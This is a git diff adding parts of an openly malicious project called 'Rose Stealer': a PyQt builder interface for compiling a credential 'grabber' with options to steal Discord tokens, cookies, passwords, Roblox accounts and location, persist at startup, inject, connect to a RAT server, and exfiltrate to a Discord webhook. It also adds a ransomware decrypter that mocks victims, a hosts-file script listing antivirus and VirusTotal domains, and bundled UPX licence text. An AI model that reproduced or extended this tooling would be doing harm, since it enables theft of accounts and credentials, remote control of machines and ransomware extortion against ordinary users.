+ self.CB_startup.setObjectName("CB_startup") + self.CB_injection = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_injection.setGeometry(QtCore.QRect(20, 40, 70, 17)) + self.CB_injection.setObjectName("CB_injection") + self.CB_tokensteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_tokensteal.setGeometry(QtCore.QRect(20, 60, 101, 17)) + self.CB_tokensteal.setObjectName("CB_tokensteal") + self.CB_cookiesteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_cookiesteal.setGeometry(QtCore.QRect(20, 80, 101, 17)) + self.CB_cookiesteal.setObjectName("CB_cookiesteal") + self.CB_passsteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_passsteal.setGeometry(QtCore.QRect(20, 100, 161, 17)) + self.CB_passsteal.setObjectName("CB_passsteal") + + self.CB_malicioussteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_malicioussteal.setGeometry(QtCore.QRect(20, 120, 161, 17)) + self.CB_malicioussteal.setObjectName("CB_malicioussteal") + + self.CB_locationsteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_locationsteal.setGeometry(QtCore.QRect(110, 20, 70, 17)) + self.CB_locationsteal.setObjectName("CB_locationsteal") + + self.CB_robloxsteal = QtWidgets.QCheckBox(self.groupBox_8) + self.CB_robloxsteal.setGeometry(QtCore.QRect(110, 40, 70, 17)) + self.CB_robloxsteal.setObjectName("CB_robloxsteal") + + self.groupBox_10 = QtWidgets.QGroupBox(self.groupBox_8) + self.groupBox_10.setGeometry(QtCore.QRect(10, 210, 231, 81)) + self.groupBox_10.setObjectName("groupBox_10") + self.comboBox = QtWidgets.QComboBox(self.groupBox_10) + self.comboBox.setGeometry(QtCore.QRect(10, 50, 211, 22)) + self.comboBox.setObjectName("comboBox") + self.comboBox.addItem("") + self.comboBox.addItem("") + self.groupBox_ratsec = QtWidgets.QGroupBox(self.groupBox_8) + self.groupBox_ratsec.setGeometry(QtCore.QRect(10, 140, 231, 71)) + self.groupBox_ratsec.setObjectName("groupBox_ratsec") + self.CB_rat = QtWidgets.QCheckBox(self.groupBox_ratsec) + self.CB_rat.setGeometry(QtCore.QRect(10, 20, 161, 17)) + self.radioButton = QtWidgets.QRadioButton(self.groupBox_10) + self.radioButton.setGeometry(QtCore.QRect(10, 20, 82, 17)) + self.radioButton.setObjectName("radioButton") + self.LE_ratsserver = QtWidgets.QLineEdit(self.groupBox_ratsec) + self.LE_ratsserver.setGeometry(QtCore.QRect(72, 40, 151, 20)) + self.LE_ratsserver.setObjectName("LE_ratsserver") + self.label = QtWidgets.QLabel(self.groupBox_ratsec) + self.label.setGeometry(QtCore.QRect(10, 40, 71, 16)) + self.label.setObjectName("label") + self.CB_rat.setObjectName("CB_rat") + #self.comboBox.hide() + self.ping = QtWidgets.QCheckBox(self.groupBox_10) + self.ping.setGeometry(QtCore.QRect(10, 20, 82, 17)) + self.ping.setObjectName("ping") + self.progressBar = QtWidgets.QProgressBar(self.groupBox_6) + self.progressBar.setGeometry(QtCore.QRect(230, 70, 181, 20)) + self.progressBar.setProperty("value", 0) + self.progressBar.setTextVisible(False) + self.progressBar.setObjectName("progressBar") + self.B_clearconsole = QtWidgets.QPushButton(self.groupBox_6) + self.B_clearconsole.setGeometry(QtCore.QRect(140, 60, 81, 31)) + self.B_clearconsole.setObjectName("B_clearconsole") + self.B_ghubupdates = QtWidgets.QPushButton(self.tab_builder) + self.B_ghubupdates.setGeometry(QtCore.QRect(590, 343, 111, 20)) + self.B_ghubupdates.setObjectName("B_ghubupdates") + self.tabWidget.addTab(self.tab_builder, "") + self.tab_credits = QtWidgets.QWidget() + self.tab_credits.setObjectName("tab_credits") + self.groupBox_4 = QtWidgets.QGroupBox(self.tab_credits) + self.groupBox_4.setGeometry(QtCore.QRect(10, 10, 691, 271)) + self.groupBox_4.setObjectName("groupBox_4") + self.groupBox_2 = QtWidgets.QGroupBox(self.groupBox_4) + self.groupBox_2.setGeometry(QtCore.QRect(10, 20, 651, 81)) + self.groupBox_2.setObjectName("groupBox_2") + self.B_github_gumb = QtWidgets.QPushButton(self.groupBox_2) + self.B_github_gumb.setGeometry(QtCore.QRect(30, 30, 81, 23)) + self.B_github_gumb.setObjectName("B_github_gumb") + self.groupBox = QtWidgets.QGroupBox(self.groupBox_4) + self.groupBox.setGeometry(QtCore.QRect(10, 190, 651, 71)) + self.groupBox.setObjectName("groupBox") + self.B_github_sue = QtWidgets.QPushButton(self.groupBox) + self.B_github_sue.setGeometry(QtCore.QRect(30, 30, 81, 23)) + self.B_github_sue.setObjectName("B_github_sue") + self.groupBox_3 = QtWidgets.QGroupBox(self.groupBox_4) + self.groupBox_3.setGeometry(QtCore.QRect(10, 100, 331, 81)) + self.groupBox_3.setObjectName("groupBox_3") + self.B_github_ice = QtWidgets.QPushButton(self.groupBox_3) + self.B_github_ice.setGeometry(QtCore.QRect(30, 30, 81, 23)) + self.B_github_ice.setObjectName("B_github_ice") + self.groupBox_9 = QtWidgets.QGroupBox(self.groupBox_4) + self.groupBox_9.setGeometry(QtCore.QRect(350, 100, 311, 81)) + self.groupBox_9.setObjectName("groupBox_9") + self.B_github_suvan = QtWidgets.QPushButton(self.groupBox_9) + self.B_github_suvan.setGeometry(QtCore.QRect(30, 30, 81, 23)) + self.B_github_suvan.setObjectName("B_github_suvan") + self.groupBox_5 = QtWidgets.QGroupBox(self.tab_credits) + self.groupBox_5.setGeometry(QtCore.QRect(10, 290, 691, 51)) + self.groupBox_5.setObjectName("groupBox_5") + self.label_versiondet = QtWidgets.QLabel(self.groupBox_5) + self.label_versiondet.setGeometry(QtCore.QRect(20, 20, 131, 16)) + self.label_versiondet.setObjectName("label_versiondet") + self.B_vail_repo = QtWidgets.QPushButton(self.groupBox_5) + self.B_vail_repo.setGeometry(QtCore.QRect(580, 10, 91, 31)) + self.B_vail_repo.setObjectName("B_vail_repo") + self.tabWidget.addTab(self.tab_credits, "") + MainWindow_vailB.setCentralWidget(self.centralwidget) + self.statusbar = QtWidgets.QStatusBar(MainWindow_vailB) + self.statusbar.setObjectName("statusbar") + MainWindow_vailB.setStatusBar(self.statusbar) + self.menubar = QtWidgets.QMenuBar(MainWindow_vailB) + self.menubar.setGeometry(QtCore.QRect(0, 0, 741, 21)) + self.menubar.setObjectName("menubar") + MainWindow_vailB.setMenuBar(self.menubar) + self.action = QtWidgets.QAction(MainWindow_vailB) + self.action.setObjectName("action") + self.actionCredits = QtWidgets.QAction(MainWindow_vailB) + self.actionCredits.setObjectName("actionCredits") + self.actionGithub = QtWidgets.QAction(MainWindow_vailB) + self.actionGithub.setObjectName("actionGithub") + self.actionCredits_2 = QtWidgets.QAction(MainWindow_vailB) + self.actionCredits_2.setObjectName("actionCredits_2") + self.retranslateUi(MainWindow_vailB) + self.tabWidget.setCurrentIndex(0) + self.comboBox.setDisabled(True) + self.LE_ratsserver.setDisabled(True) + self.ping.clicked.connect(lambda : self.comboBox.setEnabled(True) if self.ping.isChecked() else self.comboBox.setDisabled(True)) + self.CB_rat.clicked.connect(lambda : self.LE_ratsserver.setEnabled(True) if self.CB_rat.isChecked() else self.LE_ratsserver.setDisabled(True)) + self.B_github_sue.clicked.connect(self.sueghub) + self.B_github_ice.clicked.connect(self.iceghub) + self.B_testhook.clicked.connect(self.test_hook) + self.B_github_gumb.clicked.connect(self.gumghub) + self.B_ghubupdates.clicked.connect(self.github) + self.B_github_suvan.clicked.connect(self.svnghub) + self.B_clearconsole.clicked.connect(self.clearconsole) + self.B_vail_repo.clicked.connect(self.github) + self.B_build.clicked.connect(self.pb_build) # connect a function to the push button by doing this so (All push buttons are described as B_.. then the identifier.) + QtCore.QMetaObject.connectSlotsByName(MainWindow_vailB) + + def retranslateUi(self, MainWindow_vailB): + _translate = QtCore.QCoreApplication.translate + MainWindow_vailB.setWindowTitle(_translate("MainWindow_vailB", f"Rose Builder {__version__}")) + self.groupBox_6.setTitle(_translate("MainWindow_vailB", "Control Panel")) + self.label_2.setText(_translate("MainWindow_vailB", "Webhook URL :")) + self.dir_name.setText(_translate("MainWindow_vailB", "Build Name :")) + self.B_build.setText(_translate("MainWindow_vailB", "Build")) + self.B_testhook.setText(_translate("MainWindow_vailB", "Test Webhook")) + self.groupBox_7.setTitle(_translate("MainWindow_vailB", "Console")) + self.groupBox_8.setTitle(_translate("MainWindow_vailB", "Settings")) + self.CB_startup.setText(_translate("MainWindow_vailB", "Startup")) + self.CB_injection.setText(_translate("MainWindow_vailB", "Injection")) + self.CB_tokensteal.setText(_translate("MainWindow_vailB", "Token")) + self.CB_cookiesteal.setText(_translate("MainWindow_vailB", "Cookie")) + self.CB_passsteal.setText(_translate("MainWindow_vailB", "Password")) + self.CB_malicioussteal.setText(_translate("MainWindow_vailB", "Malicious")) + self.CB_locationsteal.setText(_translate("MainWindow_vailB", "Location")) + self.CB_robloxsteal.setText(_translate("MainWindow_vailB", "Roblox")) + self.groupBox_10.setTitle(_translate("MainWindow_vailB", "Ping Method")) + self.comboBox.setItemText(0, _translate("MainWindow_vailB", "everyone")) + self.comboBox.setItemText(1, _translate("MainWindow_vailB", "here")) + self.ping.setText(_translate("MainWindow_vailB", "Ping")) + self.groupBox_ratsec.setTitle(_translate("MainWindow_vailB", "Rat Section")) + self.CB_rat.setText(_translate("MainWindow_vailB", "Rat")) + self.label.setText(_translate("MainWindow_vailB", "Server URL :")) + self.B_clearconsole.setText(_translate("MainWindow_vailB", "Clear Console")) + self.B_ghubupdates.setText(_translate("MainWindow_vailB", "Github For Updates")) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_builder), _translate("MainWindow_vailB", "Builder")) + self.groupBox_4.setTitle(_translate("MainWindow_vailB", "Credits")) + self.groupBox_2.setTitle(_translate("MainWindow_vailB", "Gumbobrot")) + self.B_github_gumb.setText(_translate("MainWindow_vailB", "Github")) + self.groupBox.setTitle(_translate("MainWindow_vailB", "suegdu")) + self.B_github_sue.setText(_translate("MainWindow_vailB", "Github")) + self.groupBox_3.setTitle(_translate("MainWindow_vailB", "xpierroz")) + self.B_github_ice.setText(_translate("MainWindow_vailB", "Github")) + self.B_github_suvan.setText(_translate("MainWindow_vailB", "Github")) + self.groupBox_9.setTitle(_translate("MainWindow_vailB", "suvan")) + self.groupBox_5.setTitle(_translate("MainWindow_vailB", "Rose")) + self.label_versiondet.setText(_translate("MainWindow_vailB", f"Builder Version : {__version__}")) + self.B_vail_repo.setText(_translate("MainWindow_vailB", "Rose Repo")) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_credits), _translate("MainWindow_vailB", "Info")) + self.action.setText(_translate("MainWindow_vailB", "Github")) + self.actionCredits.setText(_translate("MainWindow_vailB", "Credits")) + self.actionGithub.setText(_translate("MainWindow_vailB", "Github")) + self.actionCredits_2.setText(_translate("MainWindow_vailB", "Credits")) + self.console_write(f"Launched Rose {__version__} Successfully.\n{__repo__}") + # List the linked functions below this class. -suegdu + + + # Updates the console + def console_write(self,message): + self.console_0.insertPlainText(f"{str(message)}\n") + + @staticmethod + def sueghub(): + webbrowser.open("https://github.com/suegdu") + @staticmethod + def iceghub(): + webbrowser.open("https://github.com/xpierroz") + @staticmethod + def gumghub(): + webbrowser.open("https://github.com/gumbobr0t") + @staticmethod + def svnghub(): + webbrowser.open("https://github.com/suvan1911") + @staticmethod + def github(): + webbrowser.open(__repo__) + + def clearconsole(self): + self.console_0.clear() + self.progressBar.setProperty("value", 0) + + def writesource(self): + pool = QThreadPool.globalInstance() + worker = Runnable_wf( + 1, + self.dir_name_input.text(), + self.LE_webhook_url.text(), + self.CB_rat.isChecked(), + self.LE_ratsserver.text(), + self.CB_startup.isChecked(), + self.CB_injection.isChecked(), + self.CB_tokensteal.isChecked(), + self.CB_cookiesteal.isChecked(), + self.CB_passsteal.isChecked(), + self.CB_malicioussteal.isChecked(), + self.CB_locationsteal.isChecked(), + self.CB_robloxsteal.isChecked() + ) + worker.signals.create_dirc.connect(self.create_dirc) + worker.signals.make_reqc.connect(self.make_reqc) + worker.signals.edit_configc.connect(self.edit_configc) + worker.signals.compilec.connect(self.compilec) + worker.signals.move_dirc.connect(self.move_dirc) + worker.signals.build_done.connect(self.build_done) + + pool.start(worker) + + def create_dirc(self): + self.progressBar.setProperty("value", 0) + self.console_write("Creating new directory...") + + def make_reqc(self): + self.progressBar.setProperty("value", 20) + self.console_write("Fetching files...") + + def edit_configc(self): + self.progressBar.setProperty("value", 40) + self.console_write("Editing the config...") + + def compilec(self): + self.progressBar.setProperty("value", 60) + self.console_write("Compiling | This can take a few minutes") + + def move_dirc(self): + self.progressBar.setProperty("value", 80) + self.console_write("Moving files...") + + def build_done(self): + self.progressBar.setProperty("value", 100) + self.console_write("\nFinished building the grabber.") + ctypes.windll.user32.MessageBoxW(0, "Successfuly built the grabber", "Rose Injector", 0) + + def test_hook(self): + vfi = "discord.com/api" + if str(self.LE_webhook_url.text()) ==str(): + self.console_write("Error: No URL provided.") + return + if str(self.LE_webhook_url.text()).isspace(): + self.console_write("Error: No URL provided.") + return + if vfi not in str(self.LE_webhook_url.text()) : + self.console_write("Error: Invalid webhook URL provided.") + return + pool = QThreadPool.globalInstance() + runnable = Runnable(1, self.LE_webhook_url.text()) + pool.start(runnable) + + # The main function when the Build button gets pushed. + def pb_build(self): + if str(self.dir_name_input.text()) == str() or str(self.LE_webhook_url.text()).isspace(): + self.console_write("Error: No build name provided.") + return + + if ( + self.CB_rat.isChecked() is True + and self.LE_ratsserver.text() == str() + or str(self.LE_ratsserver.text()).isspace() + ): + self.console_write("Error: No RAT URL provided.") + return + + self.console_write("\nStarted building....\n") + self.writesource() + + +if __name__ == "__main__": + import sys + auto_update() + app = QtWidgets.QApplication(sys.argv) + MainWindow_vailB = QtWidgets.QMainWindow() + ui = Ui_MainWindow_vailB() + ui.setupUi(MainWindow_vailB) + MainWindow_vailB.show() + sys.exit(app.exec_()) diff --git a/Rose-Stealerv1/resources/utils/rosedec/README.md b/Rose-Stealerv1/resources/utils/rosedec/README.md new file mode 100644 index 0000000..e79e85e --- /dev/null +++ b/Rose-Stealerv1/resources/utils/rosedec/README.md @@ -0,0 +1 @@ +# Have you fallen victim to our Ransomware? Now don't cry. Just get your key and decrypt your files. \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/rosedec/decrequirements.txt b/Rose-Stealerv1/resources/utils/rosedec/decrequirements.txt new file mode 100644 index 0000000..6b559c4 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/rosedec/decrequirements.txt @@ -0,0 +1,2 @@ +colorama +cryptography \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/rosedec/decrypter.bat b/Rose-Stealerv1/resources/utils/rosedec/decrypter.bat new file mode 100644 index 0000000..6b6dcb6 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/rosedec/decrypter.bat @@ -0,0 +1,6 @@ +@echo off +echo This requires python to be installed! +pause +pip install -r decrequirements.txt +python rose-decrypter.py +echo Started decrypter... \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/rosedec/rose-decrypter.py b/Rose-Stealerv1/resources/utils/rosedec/rose-decrypter.py new file mode 100644 index 0000000..be83d35 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/rosedec/rose-decrypter.py @@ -0,0 +1,127 @@ +import os +import sys +import errno +import time +from cryptography.fernet import Fernet +from colorama import Fore, Style, init +from datetime import datetime + +init() + +errors = [] + +now = datetime.now() +current_datetime = '[' + now.strftime("%Y-%m-%d %H:%M:%S.%f") + '] ' + +def log_error(): + try: + with open('ROSE-RANSOMWARE-ERRORS.txt', 'w') as file: + for error in errors: + file.write(error + '\n') + except Exception: + print(Fore.RED + Style.DIM + current_datetime + 'Really bad error occured. Please directly report to head developer.') + +decryptedfiles = [] # Saves all decrypted files + +def decrypt_file(file_path): + decryptedfiles.append(file_path) + + with open(file_path, 'rb') as encrypted_file: + encrypted_data = encrypted_file.read() + decrypted_data = cipher_suite.decrypt(encrypted_data) + + decrypted_file_path = file_path.rsplit('.rose.encrypted', 1)[0] + with open(decrypted_file_path, 'wb') as decrypted_file: + decrypted_file.write(decrypted_data) + + os.remove(file_path) + +def decrypt_directory(directory_path): + for root, dirs, files in os.walk(directory_path): + for file in files: + file_path = os.path.join(root, file) + try: + decrypt_file(file_path) + except OSError as e: + if e.errno in (errno.EACCES, errno.EPERM, errno.EINVAL, errno.ENOENT, + errno.ENOTDIR, errno.ENAMETOOLONG, errno.EROFS): + pass # Ignore permission/access errors + except Exception as e: + if isinstance(e, (FileNotFoundError, IsADirectoryError, TimeoutError,)): + pass # Ignore common file errors + else: + errors.append(e) + +def decrypted_files(): + try: + with open('ROSE-RANSOMWARE-DECRYPTED-FILES.txt', 'w') as file: + for decryptedfile in decryptedfiles: + file.write(decryptedfile + '\n') + except Exception as e: + errors.append(e) + +def decrypter(): + banner = Fore.RED + Style.DIM + ''' ,. - ., , ·. ,.-·~·., ‘ ,. -, _,., ° + ,' ,. - ., `' ·, / ·'´,.-·-., `,'‚ ,.·'´, ,'\ ,.·'´ ,. , `;\ ' + '; '·~;:::::'`, ';\ / .'´\:::::::'\ '\ ° ,·'´ .·´'´-·'´::::\' .´ ;´:::::\`'´ \'\ + ; ,':\::;:´ .·´::\' ,·' ,'::::\:;:-·-:'; ';\‚ ; ';:::\::\::;:' / ,'::\::::::\:::\:' + ; ·'-·'´,.-·'´:::::::'; ;. ';:::;´ ,' ,':'\‚ \·. `·;:'-·'´ ; ;:;:-·'~^ª*';\'´ + ;´ ':,´:::::::::::·´' '; ;::; ,'´ .'´\::';‚ \:`·. '`·, ' ; ,.-·:*'´¨'`*´\::\ ' + '; , `·:;:-·'´ '; ':;: ,.·´,.·´::::\;'° `·:'`·, \' ; ;\::::::::::::'\;' + ; ,':\'`:·., ` ·., \·, `*´,.·'´::::::;·´ ,.'-:;' ,·\ ; ;'_\_:;:: -·^*';\ + \·-;::\:::::'`:·-.,'; \\:¯::\:::::::;:·´ ,·'´ ,.·´:::'\ '; , ,. -·:*'´:\:'\° + \::\:;'` ·:;:::::\::\' `\:::::\;::·'´ ° \`*'´\::::::::;·'‘ \`*´ ¯\:::::::::::\;' ' + '·-·' `' · -':::'' ¯ \::::\:;:·´ \:::::\;::-·^*'´ + ‘ '`*'´‘ `*´¯ + + + + github.com/gumbobr0t + ================================ + +Welcome to Rose Decrypter! Looks like we encrypted you?! Oops...\n\n''' + + print(banner) + + view_key = input(Fore.RED + Style.DIM + current_datetime + 'Please enter your key below...\n-> ') + + vkey = view_key.encode('utf-8') + + key = bytes.fromhex(vkey.decode('utf-8')) + + global cipher_suite + cipher_suite = Fernet(key) + + target_directory = input(Fore.RED + Style.DIM + current_datetime + 'Please enter the directory to decrypt (C:/Users is common) ...\n-> ') + + print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 3 seconds...') + time.sleep(1.0) + print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 2 seconds...') + time.sleep(1.0) + print(Fore.RED + Style.DIM + current_datetime + 'Starting decryption in 1 second...') + time.sleep(1.0) + + print(Fore.RED + Style.DIM + current_datetime + 'Decryption started...') + + decrypt_directory(r'{}'.format(target_directory)) + + print(Fore.RED + Style.DIM + current_datetime + 'Finished decryption.') + + print(Fore.RED + Style.DIM + current_datetime + 'Creating overview...') + + decrypted_files() + + log_error() + + print(Fore.RED + Style.DIM + current_datetime + 'Finished all. Contents that have been successfully been decrypted can be found in ROSE-RANSOMWARE-DECRYPTER-DECRYPTED-FILES.txt & errors can be found in ROSE-RANSOMWARE-ERRORS.txt') + + print(Fore.RED + Style.DIM + current_datetime + 'Quitting in 5 seconds.') + + time.sleep(5.0) + + sys.exit() + +if __name__ == '__main__': + os.system('cls' if os.name == 'nt' else 'clear') + os.system('title Rose Decrypter') + decrypter() diff --git a/Rose-Stealerv1/resources/utils/unblocker/unblock_sites.py b/Rose-Stealerv1/resources/utils/unblocker/unblock_sites.py new file mode 100644 index 0000000..5ac9411 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/unblocker/unblock_sites.py @@ -0,0 +1,43 @@ +# Made by blank +# https://github.com/blank-c + +# This script requires python 3.11 to be installed! + +import os, subprocess, ctypes, sys, getpass + +if ctypes.windll.shell32.IsUserAnAdmin() != 1: + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + exit(0) + +try: + hostfilepath = os.path.join(os.getenv('systemroot'), os.sep.join(subprocess.run('REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath', shell= True, capture_output= True).stdout.decode(errors= 'ignore').strip().splitlines()[-1].split()[-1].split(os.sep)[1:]), 'hosts') + with open(hostfilepath) as file: + data = file.readlines() +except Exception as e: + print(e) + getpass.getpass("") + exit(1) + +BANNED_URLs = ('virustotal.com', 'avast.com', 'totalav.com', 'scanguard.com', 'totaladblock.com', 'pcprotect.com', 'mcafee.com', 'bitdefender.com', 'us.norton.com', 'avg.com', 'malwarebytes.com', 'pandasecurity.com', 'avira.com', 'norton.com', 'eset.com', 'zillya.com', 'kaspersky.com', 'usa.kaspersky.com', 'sophos.com', 'home.sophos.com', 'adaware.com', 'bullguard.com', 'clamav.net', 'drweb.com', 'emsisoft.com', 'f-secure.com', 'zonealarm.com', 'trendmicro.com', 'ccleaner.com') +newdata = [] + +for i in data: + if any([(x in i) for x in BANNED_URLs]): + continue + else: + newdata.append(i) + +newdata = '\n'.join(newdata).replace('\n\n', '\n') + +try: + subprocess.run("attrib -r {}".format(hostfilepath), shell= True, capture_output= True) + with open(hostfilepath, 'w') as file: + file.write(newdata) +except Exception as e: + print(e) + getpass.getpass("") + exit(1) + +print("Unblocked sites!") +subprocess.run("attrib +r {}".format(hostfilepath), shell= True, capture_output= True) +getpass.getpass("") diff --git a/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/COPYING b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/COPYING new file mode 100644 index 0000000..122a28c --- /dev/null +++ b/Rose-Stealerv1/resources/utils/upx-4.1.0-win64/COPYING @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever 